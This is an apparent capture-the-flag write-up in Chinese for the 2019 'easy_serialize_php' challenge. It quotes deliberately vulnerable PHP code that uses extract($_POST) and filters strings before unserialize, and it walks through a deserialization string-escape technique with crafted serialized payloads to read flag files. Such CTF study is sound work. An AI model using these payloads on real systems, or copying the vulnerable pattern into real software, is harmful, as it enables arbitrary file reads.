[安洵杯 2019]easy_serialize_php

40 篇文章 1 订阅
38 篇文章 0 订阅

[安洵杯 2019]easy_serialize_php

看源码

对源码的一些解释已经注释在源码里了

<?php

$function = @$_GET['f'];

function filter($img){           //这里会过滤这几个字符
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){        //销毁session数组
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';      //创建数组(但是会被覆盖,所以没用)
$_SESSION['function'] = $function;

extract($_POST);      //解析post上传的参数

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png'); 
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));      //将SESSION数组进行序列化再过滤

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);        //将过滤以后的东西反序列化
    echo file_get_contents(base64_decode($userinfo['img']));    //读取img文件
}

看了一堆,最终能给我们提供flag的是随后一行的file_get_contents,我们的最终目标是构造一个SESSION数组使得其中是img键对应的值为我们需要的flag。

首先题目的提示是看一下phpinfo,然后找到了
在这里插入图片描述
嗯,第一个目标是读取这个文件。

反序列化字符逃逸

首先举个栗子:

<?php
$str='a:2:{i:0;s:8:"Hed9eh0g";i:1;s:5:"aaaaa";}abc';
var_dump(unserialize($str));
?>

在这里插入图片描述
很明显,后面的abc被忽略了,因为序列化字符的构造必须符合规定,在;}后就停止解析了。说完这个以后再举个栗子:

<?php
$_SESSION["user"]='flagflagflagflagflagflag';
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
echo serialize($_SESSION);
?>

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

这玩意序列化的结果如上,假设后台存在过滤动作,将flag过滤,则会得到:

a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

加一个方括号帮助大家理解(方括号不是字符内容):

a:3:{s:4:"user";s:24:"【";s:8:"function";s:59:"a】";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

将这串字符串进行序列化会得到什么? 这个时候关注第二个s所对应的数字,本来由于有6个flag字符所以为24,现在这6个flag都被过滤了,那么它将会尝试向后读取24个字符看看是否满足序列化的规则,也即读取;s:8:"function";s:59:"a,读取这24个字符后以”;结尾,恰好满足规则,而后第三个s向后读取img的20个字符,第四个、第五个s向后读取均满足规则,所以序列化结果为:

array(3) { 
["user"]=> string(24) "";s:8:"function";s:59:"a" 
["img"]=> string(20) "ZDBnM19mMWFnLnBocA==" 
["dd"]=> string(1) "a" 
}

数组形式:

$_SESSION["user"]='";s:8:"function";s:59:"a';
$_SESSION["img"]='ZDBnM19mMWFnLnBocA==';
$_SESSION["dd"]='a';

实现逃逸

get传参:?f=show_function
下面描述如何构造post内容。

首先,假设我们不传post参数,那么SESSION数组将会这样:

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
$_SESSION['img'] = base64_encode('guest_img.png'); 

==>

array(3) { 
["user"]=> string(24) "guest"
["function"]=> string(14) "highlight_file" 
["img"]=> string(20) "Z3Vlc3RfaW1nLnBuZw==" 
}

==>

a:3:{s:4:"user";s:5:"guest";s:8:"function";s:14:"highlight_file";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

然鹅我们想把后面的img给忽略掉,那就势必要构造一个新的img并把后面注释(用;})掉。
所以我们就要post上传一个SESSION数组。

而上传SESSION数组后,经过extract函数的解析后将替换原来的SESSION数组,那么直接忽略前面两个键值对。比如我们上传一个

_SESSION['flag']=123

上传以后的数组:

$_SESSION['flag']="123";
$_SESSION['img'] = base64_encode('guest_img.png'); 

==>
array(2) { 
["flag"]=> string(3) "123" 
["img"]=> string(20) "Z3Vlc3RfaW1nLnBuZw==" 
}

==>
a:2:{s:4:"flag";i:123;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

我们需要在img前面插入s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
构成:
在这里插入图片描述
(先确定大概方向,然后细节处微调)
那也就是说,黄背景处文字应该为我们上传的参数:
在这里插入图片描述
这一块长度为45
于是改为:
在这里插入图片描述
在看下面的图,因为青色部分被过滤而空出来了,所以红色部分会被第一部分吃掉,形成:s:4:"";s:45:"
在这里插入图片描述
红色部分有7个字符,所以前面还需要加三个,放php正合适。再将黄背景部分补充一下:
在这里插入图片描述
搞定,而红色之后的部分就是我们需要输入的部分(引号不是):
在这里插入图片描述
在这里插入图片描述
在源码页:
在这里插入图片描述
/d0g3_fllllllagbase64加密后的结果是L2QwZzNfZmxsbGxsbGFn,还是20位,所以还是原来的payload打上去,就是base64那边换一下就行。
在这里插入图片描述

参考链接

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值